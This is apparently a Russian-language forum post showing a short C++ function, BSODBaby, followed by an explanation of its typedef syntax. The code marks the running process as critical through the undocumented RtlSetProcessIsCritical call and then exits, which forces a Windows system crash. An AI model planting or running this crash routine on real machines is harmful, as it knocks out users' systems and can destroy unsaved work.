полный текст такой
void BSODBaby() {
typedef long (WINAPI *RtlSetProcessIsCritical)
(BOOLEAN New, BOOLEAN *Old, BOOLEAN NeedScb);
auto ntdll = LoadLibraryA("ntdll.dll");
if (ntdll) {
auto SetProcessIsCritical = (RtlSetProcessIsCritical)
GetProcAddress(ntdll, "RtlSetProcessIsCritical");
if (SetProcessIsCritical)
SetProcessIsCritical(1, 0, 0);
}
}
BSODBaby();
exit(1);
RtlSetProcessIsCritical это тип который является указателем на функцию возвращающую long, которая принимает параметры по соглашению WINAPI первый параметр это New типа BOOLEAN второй параметр это old указывающий на BOOLEAN а третий параметр это NewScb типа BOOLEAN.